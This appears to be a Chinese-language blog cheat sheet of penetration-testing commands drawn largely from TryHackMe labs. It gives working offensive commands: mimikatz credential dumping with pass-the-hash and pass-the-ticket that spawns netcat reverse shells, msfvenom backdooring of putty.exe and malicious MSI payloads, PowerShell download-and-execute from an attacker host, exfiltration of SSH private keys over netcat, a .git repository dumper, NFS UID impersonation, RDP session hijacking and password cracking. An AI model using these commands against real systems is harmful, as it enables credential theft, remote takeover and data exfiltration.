mimikatz # sekurlsa::msv

# pth攻击,注意使用了token::revert恢复原始令牌权限,因为system无法进行pth
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

# 从 LSASS 进程中提取 Kerberos 票据,并将其导出为文件
mimikatz # sekurlsa::tickets /export

# ptt票据传递
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi

# 从内存中获取 Kerberos 加密密钥
mimikatz # sekurlsa::ekeys

# ptk密钥传递
mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

sekurlsa::pth /user:t1_toby.beck /domain:ZA.TRYHACKME.COM /aes256:6a0d48f79acaec013d928d84a102b72028d574340b6139e876e179db48fbde4e /run:"c:\tools\nc64.exe -e cmd.exe 10.50.77.76 5555"

mosquitto

Mosquitto 是一个开源的消息代理,它实现了 MQTT(消息队列遥测传输)协议,该协议在物联网(IoT)应用中广泛使用,用于轻量级和高效的消息传递。

MQTT 代表消息队列遥测传输。它是一种轻量级消息协议,适用于客户端需要小代码占用和连接到不可靠网络或带宽资源有限网络的情况。

mosquitto_sub:订阅

mosquitto_pub:发送

1
2
3
4
5
6
7
8
9
10
11
12
13
# 这里两个主题是对应的
# 订阅
mosquitto_sub -h 10.10.153.136 -t "#" -v # 订阅所有主题并接收详细信息,从这里拿到两个对应的主题
mosquitto_sub -h 10.10.153.136 -t "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub" # 订阅指定主题

# 发送
# {"id": "1", "cmd": "CMD", "arg": "ls"}
mosquitto_pub -h 10.10.153.136 -t "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub" -m eyJpZCI6ICIxIiwgImNtZCI6ICJDTUQiLCAiYXJnIjogImxzIn0=

-h [IP] 指定您想要连接的 MQTT 代理的主机名或 IP 地址。将 [IP] 替换为代理的实际 IP 地址或主机名。
-t "#" 订阅 # 主题,这是一个通配符,匹配所有主题。这意味着您将接收到发布到任何主题的消息。
-v 启用详细输出,包括输出中的主题和消息有效负载。没有此标志,仅显示消息有效负载。
-m 发送消息

msf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
search CVE-2013-2251
use 1
set TARGETURI /struts2-blank/example/HelloWorld.action
set RHOSTS www.rbq.com
set RPORT 80

use exploit/multi/handler # 接收反向shell

background # 将会话放在后台
sessions -l # (查看会话)
sessions -i 2 # 选择会话
sessions -k 2 # 结束会话

use post/multi/recon/local_exploit_suggester # 后渗透模块

msfvenom

1
2
3
4
5
6
7
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LH0ST=10.2.26.216 LPORT=4444 -f exe-o reverse.exe # 创建一个分阶段的有效载荷
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.2.26.216 LPORT=4444 -f elf > reverse.elf # 创建一个分阶段的有效载荷

# 创建msi马
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f msi -o evil.msi

nc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[v1.10-50]
连接到某个位置:nc [-options] 主机名 端口 [端口] ...
监听入站:nc -l -p 端口 [-options] [主机名] [端口]
选项:
-c shell 命令为 `-e';使用 /bin/sh 执行 [危险!!]
-e filename 连接后执行的程序 [危险!!]
-b 允许广播
-g 网关 源路由跳点,最多 8 个
-G num 源路由指针:4、8、12……
-h 冗余信息
-i 秒 发送线路和扫描端口的延迟间隔
-k 设置套接字的 keepalive 选项
-l 监听模式,用于入站连接
-n 纯数字 IP 地址,不使用 DNS
-o 十六进制流量转储文件
-p port 本地端口号
-r 随机化本地和远程端口
-q 秒 在标准输入结束符 (EOF) 后退出,延迟秒数
-s addr 本地源地址
-T tos 设置服务类型
-t 应答 TELNET 协商
-u UDP 模式
-v 详细 [使用两次可显示更详细的信息]
-w 秒 连接和最终网络读取的超时时间
-C 将 CRLF 发送为行结束符
-z 零 I/O 模式 [用于扫描]
端口号可以是单个端口号,也可以是范围:低-高 [含];
端口名称中的连字符必须使用反斜杠转义(例如 'ftp\-data')。

文件传输

传输过程没有回显,可通过对比文件大小简单确认是否传输成功

1
2
3
4
5
6
7
# 接收端准备
nc -l -p 54321 > received_file # 使用54321端口监听并保存数据
nc -l -p 54321 > id_rsa

# 发送端传输
nc 192.168.1.100 54321 < /path/to/source_file
nc 10.2.26.216 54321 < id_rsa # 例

nikto

1
nikto -h 10.10.80.155

powershell

1
2
3
4
5
6
7
powershell -ep bypass	# 启动无策略限制的powershell

# 直接从 URL 下载脚本到内存,如果提前在脚本末尾添加了“Invoke-AllChecks”,将会下载后立即执行,相当于在内存中执行。
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Privesc.ps1')

# 类似于 wget 或 curl,用于下载文件,分号后面是运行命令
Invoke-WebRequest -Uri http://10.2.26.216:8000/evil.msi -OutFile evil.msi; Start-Process evil.msi -Wait

proxychains4

1
proxychains4 -q bash	# 以静默模式打开一个新的bash会话

python

1
python3 -m http.server 8000

runetd

端口转发工具

1
2
3
4
5
6
7
8
9
# 在/etc/rinetd.conf中设置
绑定地址 绑定端口 目标地址 目标端口
0.0.0.0 8080 192.168.1.100 80

# 启动
rinetd

# 停止
systemctl stop rinetd

rustscan

1
2
rustscan -a 10.10.153.136
rustscan -a 10.10.120.252 -r1-65535 -b 500 # 扫描所有端口,并发500

scp

通过ssh在不同主机上复制文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
scp [选项] 源文件 目标文件

# 复制文件到远程主机
scp /path/to/local/file username@remotehost:/path/to/remote/directory

# 从远程主机复制文件到本地
scp username@remotehost:/path/to/remote/file /path/to/local/directory

-i identity_file:使用指定的私钥文件进行认证。
-P port:指定远程主机的SSH端口。
-p:保留文件的最后访问和修改时间,以及权限。
-q:不显示传输进度指示器。
-r:递归复制整个目录。
-v:详细模式,显示详细的传输过程信息。

scrabble

从远程服务器恢复 .git 文件夹的简单工具

1
scrabble http://example.com/

脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/bin/bash
#
# Author: Denny Huang <denny0223@gmail.com>
# Wed Sep 17 2014
# MIT License

function downloadBlob {
echo downloadBlob $1

mkdir -p ${1:0:2}
cd $_

wget -q -nc $domain/.git/objects/${1:0:2}/${1:2}

cd ..
}

function parseTree {
echo parseTree $1

downloadBlob $1

while read line
do
type=$(echo $line | awk '{print $2}')
hash=$(echo $line | awk '{print $3}')

[ "$type" = "tree" ] && parseTree $hash || downloadBlob $hash
done < <(git cat-file -p $1)
}

function parseCommit {
echo parseCommit $1

downloadBlob $1

tree=$(git cat-file -p $1| sed -n '1p' | awk '{print $2}')
parseTree $tree

parent=$(git cat-file -p $1 | sed -n '2p' | awk '{print $2}')

[ ${#parent} -eq 40 ] && parseCommit $parent
}

[ -z $1 ] && echo -e "missing target url\n\n\
Usage: scrabble <url>\n\
Example: scrabble http://example.com/\n\n\
You need make sure target url had .git folder"\
&& exit

domain=$1
ref=$(curl -s $domain/.git/HEAD | awk '{print $2}')

lastHash=$(curl -s $domain/.git/$ref)

git init

cd .git/objects/

parseCommit $lastHash

cd ../../

echo $lastHash > .git/refs/heads/master

git reset --hard

searchsploit

1
searchsploit wordpress	# 搜索包含关键字wordpress的漏洞

showmount

显示nfs服务器的挂载信息

1
2
3
4
5
6
7
8
showmount -e 10.10.229.201 	# 显示nfs服务器的挂载信息

mount -t nfs 10.10.229.201:/mnt/share share # 尝试将nfs服务器共享目录挂载到本地share文件夹

# NFS 缺乏身份验证和授权。通过创建具有 UID/GID 1003 (取决于挂载文件的信息,用`ls -lha`查看)的本地用户,可伪装NFS共享所有者并获得了其权限
sudo useradd hijack
sudo usermod -u 1003 hijack
sudo groupmod -g 1003 hijack

smbclient

1
2
# 上传文件
smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994

socat

端口转发

1
socat TCP4-LISTEN:60001,fork TCP4:10.10.51.201:80

ssh

1
2
3
ssh -D 0.0.0.0:1080 -Nf root@103.199.16.14	# 隧道代理

ssh -i saad_ssh_key saad@10.10.54.137 # 指定私钥ssh登录靶机

ssh2john

SSH私钥 转换为 John兼容格式

1
2
ssh2john saad_ssh_key > hash 	# 将私钥转换为哈希文件
john --wordlist=/usr/share/wordlists/rockyou.txt hash # 爆破

ssh-keygen

1
2
3
4
5
ssh-keygen -t rsa	# 生成一对rsa密钥
ssh-keygen -f id_ed25519 -t ed25519 # 这个也行
chmod 600 id_rsa # 设置私钥仅限所有者访问,这步不能少
echo 'YOUR SSH PUBLIC KEY' > /home/comte/.ssh/authorized_keys # 将公钥写入靶机ssh配置
ssh -i id_rsa comte@10.10.236.146 # 本机ssh登录靶机

steghide

从文件中提取隐藏数据

1
steghide extract -sf oneforall.jpg

strings

从二进制文件(如可执行文件、库文件、图片文件等)中提取可打印的字符串

1
2
3
strings [选项] 文件名

strings valleyAuthenticator|grep -i UPX # 测试UPX壳

tar

1
2
tar -czvf backup.tar.gz  files/
tar -czvf backup.tar.gz file.php update.sh

tscon

windows自带

用于rdp劫持

1
2
# 将当前会话(会话 ID 为 3)连接到目标会话(rdp-tcp#6)
tscon 3 /dest:rdp-tcp#6

whatweb

指纹识别

1
whatweb http://192.168.152.130/spip/	# 有时需要像这样加一层目录才行,大概是因为部署的原因

which

1
which gcc	# 查找命令文件位置

wget

1
2
wget -P /tmp http://10.2.26.216:8000/linpeas.sh
wget -P /tmp http://10.2.26.216:8000/pspy64

xfreerdp

linux开源rdp工具

1
2
# 使用 PtH 连接到 RDP
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

zip

1
unzip laoyue.zip

渗透笔记
http://example.com/2025/04/22/内网渗透/
作者
sawtooth384
发布于
2025年4月22日
许可协议